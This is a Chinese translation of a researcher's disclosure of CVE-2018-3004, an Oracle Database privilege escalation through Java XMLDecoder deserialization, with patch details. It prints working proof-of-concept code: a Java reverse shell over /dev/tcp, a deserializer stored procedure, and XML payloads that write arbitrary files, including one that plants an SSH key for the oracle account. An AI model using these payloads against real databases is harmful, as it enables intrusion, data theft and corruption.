本文翻译自: http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html?m=1
Oracle数据库容易受到通过java反序列化向量绕过Oracle JVM内置的安全机制来提升用户权限的影响。攻击者适当的利用它还可以获取服务器上的shell级访问权限和对数据库的访问的SYS级别权限。
Oracle 针对此问题发布了CVE-2018-3004。
Java反序列化漏洞在过去几年中风靡一时。2015年,Foxglove安全发布了 一篇文章 ,详细描述了许多J2EE应用服务器中的一个关键安全漏洞,这些漏洞使服务器容易受到远程代码执行的攻击。
自2015年Foxglove文章以来,许多关于Java反序列化的漏洞被发布,其中很多是基于 ysoserial库 。还公开了许多CVE,并发布补丁以解决这些缺陷,包括Oracle特定的CVE,如 CVE-2018-2628 , CVE-2017-10271 , CVE-2015-4852 。
大多数已发布的漏洞集中在易受反序列化攻击的应用服务器上。然而,今天,我想探索Oracle数据库以及在Oracle数据库存储过程中,它如何容易受到的Java紧密集成的自定义反序列化攻击的影响。
本文中的示例是使用Oracle 12C创建的,但早期版本的Oracle数据库也很容易受到攻击。
Oracle Enterprise Edition 有一个嵌入数据库的Java虚拟机,而Oracle数据库则通过 Java存储过程 来支持Java的本地执行。
create function get_java_property(prop in varchar2) return varchar2 is language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String'; /
当然,如果您对Java和渗透测试有一定程度的熟悉,您可能马上联想到创建一个会在Oracle数据库中编译的反向shell:
SET scan off create or replace and compile java source named ReverseShell as import java.io.*; public class ReverseShell{ public static void getConnection(String ip, String port) throws InterruptedException, IOException{ Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"}); System.out.println(p.toString()); p.waitFor(); } } / create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2) IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)'; /
这种方法不起作用,因为Oracle JVM实现了基于细粒度策略的安全机制来控制对操作系统和文件系统的访问。如果从权限较低的帐户执行此过程,就会出现错误。
请注意,错误堆栈包含授予访问权限所缺少的权限和必要的命令:
ORA-29532: Java call terminated by uncaught Java exception: java.security.AccessControlException: the Permission (java.io.FilePermission /bin/bash execute) has not been granted to TESTER. The PL/SQL to grant this is dbms_java.grant_permission( 'TESTER', 'SYS:java.io.FilePermission','/bin/bash', 'execute' )
之前已经 报道 过绕过内置Java权限的方法,这篇文章将不再讨论。相反,我将展示一种通过XML反序列化绕过这些权限的新方法。
Java中存在XML序列化和反序列化,以支持使用标准化行业格式(在本例中为XML)的跨平台信息交换。为此,java.beans库包含两个类:XMLEncoder和XMLDecoder,用于将Java对象序列化为XML格式,之后再反序列化该对象。
典型的反序列化漏洞依赖于接受和反序列化任意输入的服务的存在。但是,如果您可以访问能在用户模式中创建对象的低权限Oracle帐户(即具有connect和resource的用户),则可以创建自己的易受攻击的反序列化程序。
作为“TESTER”用户,我创建了以下Java类“DecodeMe”和一个调用此类的Java存储过程:
create or replace and compile java source named DecodeMe as import java.io.*; import java.beans.*; public class DecodeMe{ public static void input(String xml) throws InterruptedException, IOException { XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes())); Object object = decoder.readObject(); System.out.println(object.toString()); decoder.close(); } } ; / CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS language java name 'DecodeMe.input(java.lang.String)'; /
decodeme过程将接受任意XML编码的Java字符串并执行提供的指令。在 此处 可以找到有关序列化XML的正确格式的信息。这块代码只是简单地调用println将数据输出到终端。
BEGIN decodeme('<?xml version="1.0" encoding="UTF-8" ?> <java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out"> <void method="println"> <string>This is test output to the console</string> </void> </object> </java>'); END; /
当然,我们不需要反序列化过程来将输出打印到控制台,那么这个过程到底有多脆弱?事实证明,反序列化过程绕过了JVM权限设置,并允许用户随意写入操作系统上的文件。请参阅以下示例脚本:
BEGIN decodeme(' <java class="java.beans.XMLDecoder" version="1.4.0" > <object class="java.io.FileWriter"> <string>/tmp/PleaseDoNotWork.txt </string> <boolean>True</boolean> <void method="write"> <string>Why for the love of god?</string> </void> <void method="close" /> </object> </java>'); END; /
执行此匿名块会在 /tmp
文件夹中创建名为“PleaseDoNotWork.txt”的文件:
因此,通过反序列化绕过内置的安全限制,我们可以将任意文件写入文件系统。
事实证明,我们不仅可以将新文件写入系统,还可以覆盖或附加Oracle用户具有写权限的任何文件。显然,这会对数据库产生严重影响,因为攻击者可能会覆盖关键文件 - 包括控制文件 , 这可能成功导致的拒绝服务攻击或数据损坏。
但是,通过精心设计的Payload,我们可以使用此反序列化攻击来以Oracle用户身份访问服务器。
假设SSH在服务器上打开并配置为接受RSA连接,则以下Payload将RSA令牌附加到管理数据库进程的Oracle帐户。
开始AUTHKEY
BEGIN decodeme(' <java class="java.beans.XMLDecoder" version="1.4.0"> <object class="java.io.FileWriter"> <string>/home/oracle/.ssh/authorized_keys</string> <boolean>True</boolean> <void method="write"> <string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string> </void> <void method="close" /> </object> </java> '); END; /
执行时,代码会将任意RSA密钥附加到Oracle用户authorized_keys文件,并以Oracle用户身份授予攻击SSH访问权限。
Oracle用户可以作为SYS访问数据库,并且攻击者已经有效地破坏了整个数据库。
由于Oracle数据库的每个实例成本较高,因此许多生产体系结构依赖于共享租户模型,即多个任务应用程序使用相同的数据库,并且应用程序支持用户对同一系统共享访问权限。此外,Oracle Exadata的实现通常是在同一服务器上托管多个数据库实例。
如果低权限用户(可能是特定应用程序的三级管理员)要部署此漏洞,他们可以有效地访问整个企业的数据和应用程序。
正如我们所看到的,在java中实现的反序列化设计模式依旧爆出了无数的漏洞。安全分析师应该看到超越基于J2EE的反序列化的攻击,并考虑基于其他嵌入式实现的攻击向量。
此问题于2018年1月首次报告给Oracle Support,并于2018年7月17日发布的CPU中得到解决。
更新:查找复杂的Oracle补丁可能是一项挑战。此漏洞的Oracle错误是 Bug 27923353
,且该补丁适用于OJVM系统。对于此POC,对应的补丁是OJVM发布的更新 12.2.0.1.180717(p27923353_122010_Linux-x86-64.zip)
。